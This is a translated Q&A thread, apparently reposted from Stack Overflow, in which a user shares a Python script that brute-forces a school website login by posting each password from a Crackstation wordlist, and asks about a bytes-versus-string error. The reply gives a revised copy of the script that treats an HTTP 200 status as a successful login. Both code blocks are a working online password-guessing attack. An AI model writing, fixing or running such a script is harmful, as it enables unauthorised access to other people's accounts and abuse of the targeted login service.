[英]“A bytes-like object is required, not str” Error in Python
為了在大流行期間做點什么,我嘗試創建一個密碼破解程序來嘗試猜測我自己的學校網站密碼(我知道這很無聊,但我覺得這很酷)。
但是,當我運行我的程序時,我得到“如果'無效密碼'不在 response.content:”中,我得到“需要一個類似字節的 object,而不是'str'”。
我環顧四周,但找不到任何可以幫助我的東西。 如果有人可以提供幫助,將不勝感激
target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)
with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict["Password"] = word
response = requests.post(target_url, data=data_dict)
if "Invalid password" not in response.content:
print("[+] Login Successful! Password = " + word)
exit()
print("[-] Program finished, No password found :(")```
我不認為驗證內容是最好的方法。 嘗試驗證響應狀態碼,如果密碼正確,狀態碼將為 200,否則為 401 或 403。例如
target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)
with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict["Password"] = word
response = requests.post(target_url, data=data_dict)
if response.status_code == 200: # This is the changed line
print("[+] Login Successful! Password = " + word)
exit()
print("[-] Program finished, No password found :(")
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.